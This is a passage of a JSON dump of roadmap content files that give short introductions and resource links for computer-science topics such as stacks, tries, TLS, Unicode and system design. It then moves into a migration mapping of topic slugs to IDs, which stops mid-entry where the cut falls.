    "path": "src/data/roadmaps/computer-science/content/stack@hJB5gO9tosRlC4UmdSNzl.md",
    "content": "# Stack\n\nStack is a linear collection of items where items are inserted and removed in a particular order. Stack is also called a LIFO Data Structure because it follows the \"Last In First Out\" principle i.e. the item that is inserted in the last is the one that is taken out first.\n\nVisit the following resources to learn more:\n\n- [@course@Stack Data Structure](https://www.coursera.org/lecture/data-structures/stacks-UdKzQ)\n- [@video@Stack Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=I5lq6sCuABE)\n- [@video@Stack in 3 minutes](https://www.youtube.com/watch?v=KcT3aVgrrpU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/statemachine-diagrams@X0CKM9LaJUrgI5gIdqFvU.md",
    "content": "# State Machine Diagrams\n\nState machine diagrams are used to show the different states an object can be in at a given time. The object can be in one and only one state at a given time. State machine diagrams are similar to activity diagrams, but they are more focused on the flow of an object's state rather than the flow of the object itself.\n\nVisit the following resources to learn more:\n\n- [@article@What is State Machine Diagram?](https://www.visual-paradigm.com/guide/uml-unified-modeling-language/what-is-state-machine-diagram/)\n- [@article@State Machine Diagram Tutorial](https://www.lucidchart.com/pages/uml-state-machine-diagram)\n- [@article@State Machine Diagram](https://www.sciencedirect.com/topics/computer-science/state-machine-diagram)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/stored-procedures@FjhZGhzJjYyDn0PShKmpX.md",
    "content": "# Stored Procedures\n\nStored Procedures are created to perform one or more DML operations on Database. It is nothing but the group of SQL statements that accepts some input in the form of parameters and performs some task and may or may not returns a value.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Stored Procedures](https://www.programiz.com/sql/stored-procedures)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/string-search--manipulations@NUWk-7IXmMU-4TT-oS8fF.md",
    "content": "# String Search and Manipulations\n\nString search and manipulation is a very important topic in computer science. It is used in many different applications, such as searching or replacing a specific pattern, word or character in a string.\n\nVisit the following resources to learn more:\n\n- [@article@String-searching Algorithm](https://en.wikipedia.org/wiki/String-searching_algorithm)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/substring-search@E9hf1ux1KKGHvvAShm67w.md",
    "content": "# Substring Search\n\nSubstring search is the problem of finding a substring in a string. This is a very common problem in computer science, and there are many algorithms for solving it.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Substring Search](https://www.coursera.org/lecture/algorithms-part2/introduction-to-substring-search-n3ZpG)\n- [@article@What is the fastest substring search algorithm?](https://stackoverflow.com/questions/3183582/what-is-the-fastest-substring-search-algorithm)\n- [@article@Substring Search - Exercises](https://algs4.cs.princeton.edu/53substring/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/suffix-arrays@Ld1TUNS8713coMNvwhNIJ.md",
    "content": "# Suffix Arrays\n\nSuffix arrays are a data structure that allows us to quickly find all the suffixes of a string in lexicographical order. This is useful for many problems, such as finding the longest common substring between two strings, or finding the number of distinct substrings of a string.\n\nVisit the following resources to learn more:\n\n- [@course@Suffix Arrays - Coursera](https://www.coursera.org/learn/algorithms-part2/lecture/TH18W/suffix-arrays)\n- [@article@Suffix Arrays - Princeton University](https://algs4.cs.princeton.edu/63suffix/)\n- [@video@Suffix Array Introduction](https://www.youtube.com/watch?v=zqKlL3ZpTqs)\n- [@video@Advanced Data Structures: Suffix Arrays](https://www.youtube.com/watch?v=IzMxbboPcqQ)\n- [@video@Suffix Arrays: building](https://www.youtube.com/watch?v=ZWlbhBjjwyA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/system-design@w-fvEiSJysywR3AOAB0ve.md",
    "content": "# System Design\n\nSystem design is the process of defining the architecture, modules, interfaces, and data for a system to satisfy specified requirements. It is a very broad topic, and there are many ways to approach it.\n\nVisit the following resources to learn more:\n\n- [@opensource@System Design Primer](https://github.com/donnemartin/system-design-primer)\n- [@article@System Design: The Complete Course](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo)\n- [@video@System Design 101](https://www.youtube.com/watch?v=Y-Gl4HEyeUQ)\n- [@video@Scaling the Unscalable](https://www.youtube.com/watch?v=a2rcgzludDU)\n- [@video@System Design interview: Scale to 1 million users](https://www.youtube.com/watch?v=YkGHxOg9d3M)\n- [@feed@Explore top posts about Career](https://app.daily.dev/tags/career?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/tail-recursion@0_qNhprnXU3i8koW3XTdD.md",
    "content": "# Tail Recursion\n\nTail recursion is a special kind of recursion where the recursive call is the very last thing in the function. It's a function that does not do anything at all after recursing.\n\nVisit the following resources to learn more:\n\n- [@course@Tail Recursion](https://www.coursera.org/lecture/programming-languages/tail-recursion-YZic1)\n- [@article@What is tail recursion? Why is it so bad?](https://www.quora.com/What-is-tail-recursion-Why-is-it-so-bad)\n- [@feed@Explore top posts about Recursion](https://app.daily.dev/tags/recursion?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/tcpip-model@Fed5y1D95WPpqoVg7kmob.md",
    "content": "# OSI and TCP/IP Models\n\nThe OSI and TCP/IP model is used to help the developer to design their system for interoperability. The OSI model has 7 layers while the TCP/IP model has a more summarized form of the OSI model only consisting 4 layers. This is important if you're trying to design a system to communicate with other systems.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is the OSI model](https://www.cloudflare.com/learning/ddos/glossary/open-systems-interconnection-model-osi/)\n- [@video@TCP/IP and the OSI Model Explained!](https://www.youtube.com/watch?v=e5DEVa9eSN0)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/the-knights-tour-problem@NcKW_3vJWL_rVlDBB_Qjs.md",
    "content": "# Knight's Tour Problem\n\nKnight's Tour Problem is a problem where we have to find a path for a knight to visit all the cells of a chessboard without visiting any cell twice.\n\nVisit the following resources to learn more:\n\n- [@article@Knights Tour](https://bradfieldcs.com/algos/graphs/knights-tour/)\n- [@article@Knights Tour Problem](https://www.codesdope.com/course/algorithms-knights-tour-problem/)\n- [@article@Backtracking: The Knight’s Tour Problem](https://www.codingninjas.com/codestudio/library/backtracking-the-knights-tour-problem)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/tls--https@3pu2bGhoCLFIs6kNanwtz.md",
    "content": "# TLS / HTTPS\n\nTLS (Transport Layer Security) is a cryptographic protocol that provides privacy and data integrity between two communicating applications. It is widely used to secure HTTP, although it can be used with any protocol. TLS is often used in combination with HTTPS, which is HTTP over TLS.\n\nVisit the following resources to learn more:\n\n- [@article@What is TLS & How Does it Work? - Internet Society](https://www.internetsociety.org/deploy360/tls/basics/)\n- [@article@What is TLS (Transport Layer Security)? - Cloudflare](https://www.cloudflare.com/learning/ssl/transport-layer-security-tls/)\n- [@video@SSL and HTTPS](https://www.youtube.com/watch?v=S2iBR2ZlZf0)\n- [@video@SSL/TLS - Cristina Formaini](https://www.youtube.com/watch?v=Rp3iZUvXWlM)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/transactions@KhvYJtSCUBOpEZXjHpQde.md",
    "content": "# Transactions\n\nIn short, a database transaction is a sequence of multiple operations performed on a database, and all served as a single logical unit of work — taking place wholly or not at all. In other words, there's never a case where only half of the operations are performed and the results saved.\n\nVisit the following resources to learn more:\n\n- [@article@What are Transactions?](https://fauna.com/blog/database-transaction)\n- [@article@Database Transaction](https://en.wikipedia.org/wiki/Database_transaction)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/travelling-salesman-problem@ZG-hWjVoS3p9XfrtBL0sD.md",
    "content": "# Travelling Salesman Problem\n\nThe Travelling Salesman Problem (TSP) is a classic problem in computer science. It is a problem that is NP-complete, which means that it is a problem that is hard to solve. It is also a problem that is used to test the efficiency of algorithms.\n\nVisit the following resources to learn more:\n\n- [@article@Traveling Salesman Problem](https://en.wikipedia.org/wiki/Travelling_salesman_problem)\n- [@video@What is the Traveling Salesman Problem?](https://www.youtube.com/watch?v=1pmBjIZ20pE)\n- [@video@4.7 Traveling Salesperson Problem - Dynamic Programming](https://www.youtube.com/watch?v=XaXsJJh-Q5Y)\n- [@video@Traveling Salesman Problem | Dynamic Programming | Graph Theory](https://www.youtube.com/watch?v=cY4HiiFHO1o)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/tree@_eWqiWUmOj0zUo_Ix3j1O.md",
    "content": "# Tree\n\nA tree is non-linear and a hierarchical data structure consisting of a collection of nodes such that each node of the tree stores a value and a list of references to other nodes (the “children”).\n\nVisit the following resources to learn more:\n\n- [@article@Tree Data Structure](https://www.programiz.com/dsa/trees)\n- [@video@Tree | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/trees@IaPd_zuLbiOCwoSHQLoIG.md",
    "content": "# 2-3-4 Search Trees\n\nIn practice: For every 2-4 tree, there are corresponding red–black trees with data elements in the same order. The insertion and deletion operations on 2-4 trees are also equivalent to color-flipping and rotations in red–black trees. This makes 2-4 trees an important tool for understanding the logic behind red–black trees, and this is why many introductory algorithm texts introduce 2-4 trees just before red–black trees, even though 2-4 trees are not often used in practice.\n\nVisit the following resources to learn more:\n\n- [@article@CS 61B Lecture 26: Balanced Search Trees](https://archive.org/details/ucberkeley_webcast_zqrqYXkth6Q)\n- [@video@Bottom Up 234-Trees](https://www.youtube.com/watch?v=DQdMYevEyE4&index=4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n- [@video@Top Down 234-Trees](https://www.youtube.com/watch?v=2679VQ26Fp4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=5)\n"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/tries@4qUVacMEz3XFiL_dMre6P.md",
    "content": "# Tries\n\nTries are a data structure that can be used to store strings. The idea is to store the characters of the string in a tree-like structure, where each node of the tree represents a single character. We can use this structure to store strings in a way that allows us to quickly search for strings with a common prefix.\n\nVisit the following resources to learn more:\n\n- [@course@0. Tries - Coursera](https://www.coursera.org/learn/algorithms-part2/home/week/4)\n- [@course@1. R Way Tries](https://www.coursera.org/learn/algorithms-part2/lecture/CPVdr/r-way-tries)\n- [@course@2. Ternary Search Tries](https://www.coursera.org/learn/algorithms-part2/lecture/yQM8K/ternary-search-tries)\n- [@course@3. Character Based Operations](https://www.coursera.org/learn/algorithms-part2/lecture/jwNmV/character-based-operations)\n- [@article@Tries - DataStructure Notes](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Tries)\n- [@article@The Trie: A Neglected Data Structure](https://www.toptal.com/java/the-trie-a-neglected-data-structure)\n- [@article@TopCoder - Using Tries](https://www.topcoder.com/thrive/articles/Using%20Tries)\n- [@video@Stanford Lecture (real world use case)](https://www.youtube.com/watch?v=TJ8SkcUSdbU)\n- [@video@MIT, Advanced Data Structures, Strings (can get pretty obscure about halfway through)](https://www.youtube.com/watch?v=NinWEPPrkDQ&index=16&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/type-object-pattern@_2Jddpz_cdwyeIgrg5qt_.md",
    "content": "# Type Object Pattern\n\nType object pattern is a creational design pattern that allows us to create a new object of a type without exposing the object creation logic to the client. It is used when we need to create a new object of a type, but we don't know which type we need to create until runtime. It is like a factory pattern, but instead of returning a new object of a type, it returns a new object of a type that is already created.\n\nVisit the following resources to learn more:\n\n- [@article@Type Object Pattern](https://gameprogrammingpatterns.com/type-object.html)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/unbalanced-tree@w4sxmZR1BjX6wlrZmuOlf.md",
    "content": "# Unbalanced Tree\n\nAn unbalanced binary tree is one that is not balanced.\n\nVisit the following resources to learn more:\n\n- [@article@Balanced vs Unbalanced Binary Tree](https://stackoverflow.com/questions/59206128/balanced-vs-unbalanced-binary-tree-clarification-needed)\n- [@article@Unbalanced Binary Tree](https://eng.libretexts.org/Bookshelves/Computer_Science/Databases_and_Data_Structures/Open_Data_Structures_-_An_Introduction_(Morin)/06%3A_Binary_Trees/6.02%3A_BinarySearchTree_-_An_Unbalanced_Binary_Search_Treee)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/undirected-graph@QGx8it2N_85PiPVjpTGK_.md",
    "content": "# Undirected Graph\n\nAn undirected graph is graph, i.e., a set of objects (called vertices or nodes) that are connected together, where all the edges are bidirectional. An undirected graph is sometimes called an undirected network. In contrast, a graph where the edges point in a direction is called a directed graph.\n\nVisit the following resources to learn more:\n\n- [@article@Undirected Graph](https://mathinsight.org/definition/undirected_graph)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/unicode@04hpfxI2x958tQI-0clsp.md",
    "content": "# Unicode\n\nUnicode is a standard for encoding characters. It is a superset of ASCII, which means that ASCII is a subset of Unicode. Unicode is a 16-bit encoding, which means that it can encode 2^16 = 65536 characters. This is a lot more than ASCII, which can only encode 128 characters.\n\nVisit the following resources to learn more:\n\n- [@article@How Unicode Works: What Every Developer Needs to Know About Strings and 🦄](https://deliciousbrains.com/how-unicode-works/)\n- [@video@Characters, Symbols and the Unicode Miracle - Computerphile](https://www.youtube.com/watch?v=MijmeoH9LT4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/usecase-diagrams@dVvYbrcaxHLpvtX6HbS7g.md",
    "content": "# Usecase Diagrams\n\nUsecase diagrams are a type of diagram that are used to model the interactions between the **actors** and the **usecases** of the system.\n\nAn actor is a person or a system that interacts with the system. Actors are represented by a rectangle with the name of the actor written inside it.\n\nA usecase is a task that the system performs. Usecases are represented by an ellipse with the name of the usecase written inside it.\n\nA usecase diagram is a diagram that shows the actors and the usecases of the system. The diagram is represented by a rectangle that contains the name of the system inside it. The actors are represented by rectangles and the usecases are represented by ellipses.\n\nVisit the following resources to learn more:\n\n- [@article@UML Use Case Diagram Tutorial](https://www.lucidchart.com/pages/uml-use-case-diagram)\n- [@article@What is Use Case Diagram?](https://www.visual-paradigm.com/guide/uml-unified-modeling-language/what-is-use-case-diagram/)\n- [@video@UML Use Case Diagram Tutorial](https://www.youtube.com/watch?v=zid-MVo7M-E)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/views@lOj_ReWI1kQ3WajJZYOWU.md",
    "content": "# Views\n\nViews in SQL are kind of virtual tables. A view also has rows and columns as they are in a real table in the database. We can create a view by selecting fields from one or more tables present in the database. A View can either have all the rows of a table or specific rows based on certain condition.\n\nVisit the following resources to learn more:\n\n- [@article@Database Views](https://www.ibm.com/docs/en/eamfoc/7.6.0?topic=structure-views)\n- [@article@SQL Views - Wikipedia](https://en.wikipedia.org/wiki/View_(SQL))"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/web-sockets@bVjI14VismTHNCyA0mEBP.md",
    "content": "# Web Sockets\n\nWeb sockets are a bidirectional communication protocol between a client and a server. They are used for real-time applications like chat, multiplayer games, and live data updates. Web sockets are also used to establish a connection between a server and a client. This connection is then used to send data in both directions.\n\nVisit the following resources to learn more:\n\n- [@article@WebSockets](https://en.wikipedia.org/wiki/WebSocket)\n- [@article@Web Sockets API](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API)"
  },
  {
    "path": "src/data/roadmaps/computer-science/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/computer-science/migration-mapping.json",
    "content": "{\n  \"pick-a-language\": \"tU4Umtnfu01t9gLlnlK6b\",\n  \"pick-a-language:python\": \"RlKZzs44biQPgxD0tK1qx\",\n  \"pick-a-language:go\": \"mWW88VnkqWgDz02qw5zU-\",\n  \"pick-a-language:c-sharp\": \"jHKCLfLml8oZyj4829gx0\",\n  \"pick-a-language:rust\": \"1bDjg-KBDKRmE6f1MWY8l\",\n  \"pick-a-language:c-plus-plus\": \"1kQJs-3Aw8Bi7d_Xh67zS\",\n  \"pick-a-language:c\": \"n4IsklfYJXFIyF1rGWuEa\",\n  \"pick-a-language:java\": \"1lQSUFrrIGq19nUnM92-I\",\n  \"data-structures\": \"NM7q5REW1sJgMhxJhPpLT\",\n  \"data-structures:array\": \"TwW6SO2IXqkxJXVjLzdwU\",\n  \"data-structures:linked-list\": \"gr8BK6vq4AVwp_aUozZmf\",\n  \"data-structures:stack\": \"hJB5gO9tosRlC4UmdSNzl\",\n  \"data-structures:queue\": \"JI990pDX2jjNe6IH_Y_t0\",\n  \"data-structures:hash-table\": \"G2dN2FO0SN_I-5AhO_EUk\",\n  \"data-structures:tree\": \"_eWqiWUmOj0zUo_Ix3j1O\",\n  \"data-structures:tree:binary-tree\": \"G9dnegZ6zNvxrCZ3O_b_z\",\n  \"data-structures:tree:binary-search-tree\": \"et7l85gnxjvzD2tDyHT_T\",\n  \"data-structures:tree:full-binary-tree\": \"Q8ZJNeTbc22Q08Mra-McY\",\n  \"data-structures:tree:complete-binary-tree\": \"Jx1WWCjm8jkfAGtHv15n1\",\n  \"data-structures:tree:balanced-tree\": \"ZaWGLvZyu4sIPn-zwVISN\",\n  \"data-structures:tree:unbalanced-tree\": \"w4sxmZR1BjX6wlrZmuOlf\",\n  \"data-structures:graph\": \"vQm046o6ozcvLoqg9L6eL\",\n  \"data-structures:graph:directed-graph\": \"6Jy8SXHuYA08h9iLjKFWR\",\n  \"data-structures:graph:undirected-graph\": \"QGx8it2N_85PiPVjpTGK_\",\n  \"data-structures:graph:spanning-tree\": \"L4xtWOdqGUf4SbJkoOsNM\",\n  \"data-structures:graph:graph-representation\": \"rTnKJcPniUtqvfOyC88N0\",\n  \"data-structures:heap\": \"pw3ZCC3HKU7D5SQwte4vE\",\n  \"asymptotic-notation\": \"UpBrpmrUwYUB9eesNxCq5\",\n  \"asymptotic-notation:big-o-notation\": \"c-NrTtJuNihbHzyPEOKTW\",\n  \"asymptotic-notation:big-theta-notation\": \"ThLpVZQIJ4diY5m0dik8m\",\n  \"asymptotic-notation:big-omega-notation\": \"X33735aeAVSlJ6yv9GS-h\",\n  \"asymptotic-notation:common-runtimes:constant\": \"3F_QBv_sU39ehOxpurF88\",\n  \"asymptotic-notation:common-runtimes:logarithmic\": \"nnlMNkQn1HU4U9yPbV9kQ\",\n  \"asymptotic-notation:common-runtimes:linear\": \"jymhjv8GiFALQpox6aZeu\",\n  \"asymptotic-notation:common-runtimes:polynomial\": \"sVFvpsAO1_ZH9aliEj9aF\",\n  \"asymptotic-notation:common-runtimes:exponential\": \"5mMLr6tWbiSZuox1lx0_B\",\n  \"asymptotic-notation:common-runtimes:factorial\": \"m0umGQNdvg95UiNpQZsQN\",\n  \"common-algorithms\": \"7a6-AnBI-3tAU1dkOvPkx\",\n  \"common-algorithms:sorting-algorithms:bubble-sort\": \"4wGBYFZpcdTt97WTbSazx\",\n  \"common-algorithms:sorting-algorithms:selection-sort\": \"rOsHFXQm5jNz0RyZQ5ZGs\",\n  \"common-algorithms:sorting-algorithms:insertion-sort\": \"ujDCW6zZE8dV_fpNf-oIl\",\n  \"common-algorithms:sorting-algorithms:heap-sort\": \"CovrRsBY-sYW_xSegcN6N\",\n  \"common-algorithms:sorting-algorithms:quick-sort\": \"be0Q8GW9ZX1JbPrBvbMji\",\n  \"common-algorithms:sorting-algorithms:merge-sort\": \"Bh-whDbcCjl3m6mRm9w02\",\n  \"common-algorithms:tree-algorithms:pre-order-traversal\": \"psTN5N66xoFHFopgd5faW\",\n  \"common-algorithms:tree-algorithms:in-order-traversal\": \"KTrgf14Q6rg2f0v4dqq2s\",\n  \"common-algorithms:tree-algorithms:post-order-traversal\": \"4_oGXwjzSY5cX9n7L4iAA\",\n  \"common-algorithms:tree-algorithms:breadth-first-search\": \"Ke_ch4fnuKIiGAXUM_LPP\",\n  \"common-algorithms:tree-algorithms:depth-first-search\": \"chzP5_t2gMi6MstxEzCi5\",\n  \"common-algorithms:graph-algorithms:breadth-first-search\": \"vcV6TEM_PqXxtThdfMKGw\",\n  \"common-algorithms:graph-algorithms:depth-first-search\": \"Yf5gOIe7oiL19MjEVcpdw\",\n  \"common-algorithms:graph-algorithms:bellman-fords-algorithm\": \"eY4nK2lPYsrR-a_8y2sao\",\n  \"common-algorithms:graph-algorithms:dijkstras-algorithm\": \"oJstm-8c-4seWbIWcNgDv\",\n  \"common-algorithms:graph-algorithms:a-star-algorithm\": \"Yrk2PLUa-_FAPlhCkMl3e\",\n  \"common-algorithms:greedy-algorithms:dijkstras-algorithm\": \"l3X9UrEYTWs5kBXI1NNCf\",\n  \"common-algorithms:greedy-algorithms:huffman-coding\": \"QrcijPiVT3bgqfkF-6ssi\",\n  \"common-algorithms:greedy-algorithms:kruskas-algorithm\": \"Wqhg7E-lOz1oNcRXjUej8\",\n  \"common-algorithms:greedy-algorithms:ford-fulkerson-algorithm\": \"Hqw2eGtgfbVggqXBnIOdI\",\n  \"common-algorithms:greedy-algorithms:prims-algorithm\": \"znpFIKwMJlepKJ8dH3kvC\",\n  \"common-algorithms:back-tracking-algorithms:finding-hamiltonian-paths\": \"aBjBHpq_OajgQjxdCobXD\",\n  \"common-algorithms:back-tracking-algorithms:solving-n-queen-problem\": \"HlAmTY1udqDT2mTfBU9P-\",\n  \"common-algorithms:back-tracking-algorithms:maze-solving-problem\": \"nODFT-i2YsxUVsgwWkIWn\",\n  \"common-algorithms:back-tracking-algorithms:knights-tour-problem\": \"NcKW_3vJWL_rVlDBB_Qjs\",\n  \"common-algorithms:robin-karp-algorithm\": \"l5--4opvZoc_seVn__5R3\",\n  \"common-algorithms:recursion:tail-recursion\": \"0_qNhprnXU3i8koW3XTdD\",\n  \"common-algorithms:recursion:non-tail-recursion\": \"iLEOuQgUgU5Jc38iXDpp5\",\n  \"common-algorithms:search-algorithms:binary-search\": \"8kTg4O9MrTHRUrp6U-ctA\",\n  \"common-algorithms:search-algorithms:linear-search\": \"XwyqBK9rgP1MMcJrdIzm5\",\n  \"common-algorithms:cache-algorithms:lru-cache\": \"cEsboPT8nLvo0Zt0_oBq6\",\n  \"common-algorithms:cache-algorithms:lfu-cache\": \"n11ujPI3of-52l2KW2CDQ\",\n  \"common-algorithms:cache-algorithms:mfu-cache\": \"hna0HLu0l4NTNNpyGqlW5\",\n  \"string-search-and-manipulations\": \"NUWk-7IXmMU-4TT-oS8fF\",\n  \"string-search-and-manipulations:search-pattern-in-text\": \"L4M5yFRKKR2axKXGcIA7d\",\n  \"string-search-and-manipulations:suffix-arrays\": \"Ld1TUNS8713coMNvwhNIJ\",\n  \"string-search-and-manipulations:substring-search:brute-force-search\": \"g3b0kt1fCAjjYyS2WelWi\",\n  \"string-search-and-manipulations:substring-search\": \"E9hf1ux1KKGHvvAShm67w\",\n  \"string-search-and-manipulations:substring-search:knuth-morris-pratt\": \"8abFKMfaV9H8F38I0DcMT\",\n  \"string-search-and-manipulations:substring-search:boyer-moore\": \"p6qub32jcaGloHXUDUrlG\",\n  \"string-search-and-manipulations:substring-search:rabin-karp\": \"Km5LvcJpyntrW2iA8h5e3\",\n  \"floating-point-numbers\": \"-bawIWfrYuAxy8cP-AGFS\",\n  \"endianess\": \"vjMqqFsTxSjaiYxmliwLi\",\n  \"endianess:big-endian\": \"U8AgY6I-62mN5Ohg9MsG6\",\n  \"endianess:little-endian\": \"rD_5n5bjiNMVC0cPhEVyG\",\n  \"character-encodings\": \"DtG9EJonWi4_2oQ4fWOKY\",\n  \"character-encodings:unicode\": \"04hpfxI2x958tQI-0clsp\",\n  \"character-encodings:ascii\": \"hmwsNp60alS43kJg4A_Og\",\n  \"common-uml-diagrams\": \"DMuMsEowpevTCALtziwTB\",\n  \"common-uml-diagrams:class-diagrams\": \"FZ8znJSz8PvQlnEyRLXmQ\",\n  \"common-uml-diagrams:usecase-diagrams\": \"dVvYbrcaxHLpvtX6HbS7g\",\n  \"common-uml-diagrams:activity-diagrams\": \"ptfRNiU0mC0Q5SLA_FWZu\",\n  \"common-uml-diagrams:statemachine-diagrams\": \"X0CKM9LaJUrgI5gIdqFvU\",\n  \"common-uml-diagrams:sequence-diagrams\": \"gaUT5K2xS-WQMrIA0Bkb_\",\n  \"design-patterns\": \"-De1hU2ONGwhQmUpsyrCO\",\n  \"design-patterns:gof-design-patterns\": \"iPN9mSyFwYZER5HSkj6oL\",\n  \"design-patterns:architectural-patterns\": \"BGhJNtszbYJtKyhqr2jax\",\n  \"design-patterns:dependency-injection\": \"J7DKRklMtJ94Y-18Jo50r\",\n  \"design-patterns:null-object-pattern\": \"PpFQ0zmObZLvmBvqhTEMz\",\n  \"design-patterns:type-object-pattern\": \"_2Jddpz_cdwyeIgrg5qt_\",\n  \"basic-math-skills\": \"cdNi0EYrQ5nsgNxFVnXL8\",\n  \"basic-math-skills:probability\": \"HZ3_xyphbjhBPwwQo_rHH\",\n  \"basic-math-skills:combinatorics\": \"lWnAY0DgrUOmT6yqnxeBN\",\n  \"complexity-classes\": \"YLCmZvoLkhOk9wlgYW2Ms\",\n  \"complexity-classes:p\": \"3aM17dPKNi8tRJsW8lesI\",\n  \"complexity-classes:np\": \"ewXUHpOnjm8YrLhce1dAQ\",\n  \"complexity-classes:np-hard\": \"mJJ8DGUpBuHEJ7I6UTy1T\",\n  \"complexity-classes:p-equals-np\": \"0btHNkzWL1w_-pUgU_k2y\",\n  \"complexity-classes:np-complete\": \"Lwkz7qozXRlVNA20zJbSw\",\n  \"complexity-classes:np-complete:travelling-salesman-problem\": \"ZG-hWjVoS3p9XfrtBL0sD\",\n  \"complexity-classes:np-complete:knapsack-problem\": \"yHeCRPhfAOWiggZeUHPU9\",\n  \"complexity-classes:np-complete:longest-path-problem\": \"4QVVYjDODMWsjnrE-4UBs\",\n  \"tries\": \"4qUVacMEz3XFiL_dMre6P\",\n  \"balanced-search-trees\": \"7DF3UhefOSqqTuccH8c8X\",\n  \"balanced-search-trees:avl-trees\": \"OUistS7H7hQQxVV-lOg39\",\n  \"balanced-search-trees:red-black-trees\": \"eOL0_SzxBn7_xhNcBDi2D\",\n  \"balanced-search-trees:the-2-3-search-trees\": \"3jiV9R82qxpqIGfpEq_wK\",\n  \"balanced-search-trees:the-2-3-4-trees\": \"IaPd_zuLbiOCwoSHQLoIG\",\n  \"balanced-search-trees:n-ary-trees\": \"UOYeM-hqIKCrB9hGez4Q_\",\n  \"balanced-search-trees:b-tree\": \"s0Pi6CemUUsmZSEu2j2gH\",\n  \"system-design\": \"w-fvEiSJysywR3AOAB0ve\",\n  \"system-design:horizontal-vs-vertical-scaling\": \"-34WGppX6QC5fkCvfCghp\",\n  \"system-design:load-balancing\": \"xDiS0HmrEoPjkQg9x2O3o\",\n  \"system-design:clustering\": \"wAsZ-M5N9ERufQnBaXbAE\",\n  \"system-design:caching\": \"4u5w9QCptLWuY9O7_UU8V\",\n  \"system-design:cdn\": \"r8V9bZpc98SrLvXc070bZ\",\n  \"system-design:proxy\": \"qLLJ_ehC8tSRfXsorYMQz\",\n  \"system-design:cap-theorem\": \"GZI8EsEqiMJX3fSbO_E-7\",\n  \"system-design:queues\": \"LCPEzpyAuHY3ggN3nYrNN\",\n  \"system-design:architectural-styles\": \"X1wv7xV69IEzepg8bF8oZ\",\n  \"system-design:rest\": \"Kvz3Sn7L8CxP5ZXO1hlcU\",\n  \"system-design:graphql\": \"DeE_dZecLmKCjePovTfFS\",\n  \"system-design:grpc\": \"M4vdwAbjLPrLjWUsG_P1I\",\n  \"system-design:cloud-design-patterns\": \"YMO9oD_sbzyDZPNU2xZwe\",\n  \"system-design:long-polling\": \"XeJi6TwpI5Uaszj00Uv_2\",\n  \"system-design:short-polling\": \"gGmNJ8dK28iqrlQHPz6md\",\n  \"system-design:web-sockets\": \"bVjI14VismTHNCyA0mEBP\",\n  \"system-design:sse\": \"JckRqZA8C6IqQLPpTCgf4\",\n  \"databases\": \"zvlTQ0A-My4QDrslp_lru\",\n  \"databases:sql-vs-nosql-databases\": \"nprZscHdC_RdRIcGeGyVk\",\n  \"databases:normalization-denormalization\": \"Rw7QjLC8hLtXSwmU_9kHC\",\n  \"databases:entity-relationship-model\": \"XnxxEmr2TyW2kOpB4gtR5\",\n  \"databases:ddl\": \"ii1vF74u3yrFNlw_21b3B\",\n  \"databases:dml\": \"tcQSH-eAvJUZuePTDjAIb\",\n  \"databases:dql\": \"05lkb3B86Won7Rkf-8DeD\",\n  \"databases:dcl\": \"4bUmfuP2qgcli8I2Vm9zh\",\n  \"databases:locking\": \"_sm63rZNKoibVndeNgOpW\",\n  \"databases:acid-model\": \"W5B-v-BFcCRmuN0L1m6PI\",\n  \"databases:base-model\": \"q3nRhTYS5wg9tYnQe2sCF\",\n  \"databases:cap-theorem\": \"uqfeiQ9K--QkGNwks4kjk\",\n  \"databases:pacelc-theorem\": \"g6HeyLptaAYx9QBKuHQyM\",\n  \"databases:indexes\": \"BEbsUA39kZ5itqCwD585f\",\n  \"databases:views\": \"lOj_ReWI1kQ3WajJZYOWU\",\n  \"databases:transactions\": \"KhvYJtSCUBOpEZXjHpQde\",\n  \"databases:stored-procedures\": \"FjhZGhzJjYyDn0PShKmpX\",\n  \"databases:database-federation\": \"3r21avMlo0xFB9i7PHccX\",\n  \"databases:replication\": \"WUEmEtlszbISSIWDKpvg6\",\n  \"databases:sharding\": \"3K65efPag2076dy-MeTg4\",\n  \"networking\": \"zG5t3HqbZnh9CGRqp1Sb-\",\n  \"networking:osi-model\": \"pZ5x_zDYGzW9VxYycyXtN\",\n  \"networking:tcp-ip-model\": \"Fed5y1D95WPpqoVg7kmob\",\n  \"networking:dns\": \"fYjoXB4rnkM5gg46sqVz5\",\n  \"networking:http\": \"2tUwl-br-SRuwADSzmQag\",\n  \"networking:tls-https\": \"3pu2bGhoCLFIs6kNanwtz\",\n  \"networking:sockets\": \"u-c-UFegRb7xqsmvj9gVb\",\n  \"security\": \"JnJbJtsqKbVETY2vdLqCO\",\n  \"security:public-key-cryptography\": \"bDZ34BPm3lX06ERSE10cY\",\n  \"security:hashing-encryption-encoding\": 